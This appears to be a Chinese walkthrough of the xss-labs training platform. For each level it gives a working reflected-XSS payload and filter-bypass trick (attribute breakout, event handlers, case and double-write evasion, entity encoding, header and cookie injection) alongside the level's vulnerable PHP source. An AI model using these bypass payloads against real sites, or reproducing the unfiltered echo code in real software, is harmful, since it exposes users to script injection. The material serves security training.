do0dl3/xss-labs: xss 跨站漏洞平台 (github.com)

level 1

观察地址栏得知是GET请求,参数是name,值为test

修改参数值定位位置,发现是在 h2标签内,判断为反射型xss

于是直接在把name参数赋值为:

<script>alert('xss')</script>

从浏览器观察直接弹出来了,查看一下源码,发现有一个str变量,值是name,同时str变量又被放在了h2标签中,且没做任何过滤处置。

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";

level 2

从地址栏观察URL发现依旧是GET方式来传递参数,不言而喻是反射型XSS

使用第一关的<script>alert('xss')</script>,发现并没有出现弹窗,查看页面源代码,发现在h2标签中,<script><>HTML实体化了

  • < --> &lt;
  • > --> &gt;

但 input 标签中的 value 参数没有被 HTML 编码,于是用">分别闭合value属性和input标签,最后用//注释后面的">

// payload
"><script>alert('xss')</script>//

最后在 less-2.php 中查看,发现标签h2之所以被编码,是因为有htmlspecialchars()函数,换言之在网页上输入的字符会经过htmlspecialchars()函数对其进行 HTML 实体才会展示在页面上。

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">

页面源代码

闭合在标签外构造 XSS

level 3

修改参数值定位具体位置,发现和 level 2 是一样的,在h2input标签中

顾忌到会有编码之类,使用<script>alert('xss')</script>来测试,然后 Ctrl + U 查看页面源代码。果不其然,与 level 2 不同的是,这关h2input标签中的str变量皆难逃被编码之命

  • < --> &lt;
  • > --> &gt;

因为过滤了<>,这说明不可以用新标签,只能在标签内通过'闭合前面的属性的方式,为后面新增属性来绕过,与此同时想到的是“鼠标事件”

// 用 ' 闭合 value 的值,新增点击事件,在 input 框中去点击一下即可触发
// 根据源码,闭合需用单引号
' onclick ='javascript:alert(1)'//
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	

页面源代码

新增属性构造 XSS

level 4

修改参数值定位具体位置,依旧是在h2input标签中,用<script>alert('xss')</script>来测试,查看页面源代码,发现h2标签的参数依旧被 HTML 实体,仍然是<>字符

但与之前不同的是,input标签中的value属性的值,没有出现<>字符,所以还是用闭合属性新增鼠标事件的方式来绕过

" onclick ="javascript:alert(1)"//

最后在 less-4.php 中查看,出现了str_replace() 函数

  • str_replace(">","",$str); --> 在 str 变量中,将<>字符替换为空
  • htmlspecialchars() 函数 --> 把一些预定义的字符转换为 HTML 实体。
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">

页面源代码

点击事件

level 5

  1. <script>alert('xss')</script>来测试,在h2标签中仍是<>字符被 HTML 实体了,而input标签的value属性中,完整的script_断开了

    • script --> scr_ipt
  2. 尝试" onclick ="javascript:alert(1)"//,发现在h2标签中"双引号被 HTML 实体了,而input标签的value属性中的值,完整的onclick_断开了

    • onclick --> o_nclick
  3. 于是换一种思路,用"> 来闭合 input 标签,利用a标签的href属性可以执行 JavaScript 伪协议的特性,绕过众多检测

"> <a href=javascript:alert(1)>1</a>//

// 看到还有一种方式,可直接触发
"><iframe src=javascript:alert(1)>
  1. 最后在 less-5.php 中查看,出现了strtolower() 函数
  • strtolower() 函数 --> 把字符串转换为小写,赋值给str变量,这样大小写绕过就失效了
  • str_replace --> 加入了_破坏完整的字符
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">

测试一

测试二

JavaScript 伪协议

level 6

<script>alert('xss')</script>来测试,发现在h2标签中仍是<>字符被 HTML 实体了,而input标签的value属性中,完整的script_断开了

尝试点击事件" onclick ="javascript:alert(1)"//,发现在h2标签中"双引号被 HTML 实体了,而input标签的value属性中的值,完整的onclick_断开了

试一下伪协议"> <a href=javascript:alert(1)>1</a>//,完整的href_断开了

于是使用大小写绕过

// 点击事件大小写绕过
" ONCLICK ="alert(1)"//

// 伪协议大小写绕过
"><a HREF=javascript:alert(1)>xss</a>//

查看 level6.php,可以看到 str_replace 函数分别破坏了<script、on、src、data、href等元素。h2 标签处做了 HTML 实体

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">

level 7

通过测试,发现 input 标签的 value 属性的值 script、on、href被直接替代为了空,h2 标签依旧是 HTML 实体了

于是通过双写绕过的方式去绕过检测

// script
"><scrscriptipt>alert('xss')</scrscriptipt>

// href 和 script,伪协议
"> <a hrhrefef=javascscriptript:alert(1)>1</a>//

// 点击事件
" oonnclick ="javascscriptript:alert(1)"//

查看 level7.php,可以看到 str_replace 函数分别把<script、on、src、data、href替代为了空

h2 标签处做了 HTML 实体,strtolower()函数把字符串转换为小写

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">

level 8

定位一下,第一个参数在 input 标签的 value 属性中, 第二个参数在 a 标签的 href 属性中

通过测试,发现在 input 标签的 value 属性中<> "被 HTML 编码了,a 标签的 href 属性把script、on、src、data、href_截断了,同时"被 HTML 编码了

使用大小写绕过也失败了,说明有 strtolower 函数。

因为第二个参数在 href属性中,而href属性支持构造伪协议,但script_所限制,于是尝试用编码的方式去绕过

javascript:alert(1)

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

HTML 编码

HTML 编码

level 9

定位参数,第一个参数照旧,第二个参数还是在 a 标签的 href 属性中

javascript:alert(1)测试,a 标签的 href 属性的值显示“您的链接不合法”

一般而言,href 属性是要填 URL 的,那就补上一个https://www.google.com

输入javascript:alert(1)//http://www.baidu.com,从页面源代码处看到script_截断了,那就 HTML 编码一下

java&#x73;cript:alert(1)//http://www.baidu.com
// s--> &#x73;

从 level9.php 可以观察到,如果没有http://字符,会输出链接不合法

if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }

level 10

从 URL 处输入测试参数,然后 CTRL+U 查看页面源代码发现有三个 input 标签,且 type="hidden",也就是隐藏表单。

把三个 input 标签的类型修改为 text,看在页面的显示情况

// 发现页面出现文本框,t_sort,这证明可对其进行突破
text&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
// 出现文本框后可直接注入 XSS 代码
" type="text" onclick="alert('xss')

从源码看把<>替换为空了,这恐怕只能在标签内部通过新增属性的方式来答题了

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">

隐藏表单

点击 input 框触发 xss

level 11

查看源代码发现 t_ref 的 value 值为上道题的 URL,由此判断 value 值就是 referer,referer 用于告知服务器用户的来源页面,所以这道题直接篡改 referer 就可以了

referer:"type="text" onclick="alert('xss')

页面源代码

点击 input 框触发 xss

源码

level 12

CTRL+U 查看源代码发现 t_ua 的 value 值为 User-Agent,也就是用户代理,通常标识浏览器、及其版本号及其主机操作系统。

User-Agent: "type="text" onclick="alert('xss')

User-Agent

点击 input 框触发 xss

源码

level 13

CTRL+U 查看源代码发现 t_cook 的 value 值为call me maybe?,使用浏览器插件 Cookie Editor 查看 cookie 的值与之相似,于是判定 value 值就是 cookie

user=" type="text" onclick="alert('xss')

对比查看是 cookie

修改 cookie

点击 input 框触发 xss

源码

level 14

网页一直在响应,最终以失败告终,查看源码发现原链接已经失效

这关主要考察Exif,Exif 记录着照片的属性信息和拍摄数据,可以更改图片的参数把一张恶意的图片传到可执行该信息的网站

level 15

查看页面源码,最底部有一行 span 标签,class 属性是ng-include

<span class="ng-include:"></span>

查询了一下得知是前端框架 angular js 里面的,含义是文件包含

于是可以把本地文件level1.php包含起来让其执行 XSS

?src='level1.php?name=<img src=1 onerror=alert(1)>'

level 16

<script>alert('xss')</script>测试,查看页面源代码,发现参数值在 center 标签中,而用于构造 XSS 的script、/、空格被替换为了&nbsp;

/被编码这意味着像是<></>需要闭合的标签用不了,所以想到了<img>这种自闭和的标签

  • 换行符 --URL编码后--> %0a
// 直接输入发现“空格”被替换为了 &nbsp; 因此考虑用 %0a 即换行符绕过空格
<img src=”1” onerror=alert(‘xss’)>

<img%0asrc=1%0aonerror=alert(1)>

<img
src=”1”
onerror=alert(‘xss’)
>

URL 解码

插入 XSS

level 17

在 URL 中填上参数?arg01=1111&arg02=2222,然后查看页面源代码,发现有个 embed 标签,填入的参数在 src 属性中进行了拼接

<embed>标签就是引入一个swf文件【SWF格式是动画软件Flash的专用格式】

<!-- 查看页面源代码 -->
<embed src=xsf01.swf?1111=2222 width=100% heigth=100%><h2 align=center>
?arg01= onclick&arg02=alert(‘xss’) //

' > onmouseover=alert(1)

火狐、Chrom、Edge 等浏览器已不支持 flash,所以不会弹窗

level 18

和 level 17 是一样的

level 19、20

IE 浏览器和 flash 均已被历史淘汰

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/yii-ling/p/17095921.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!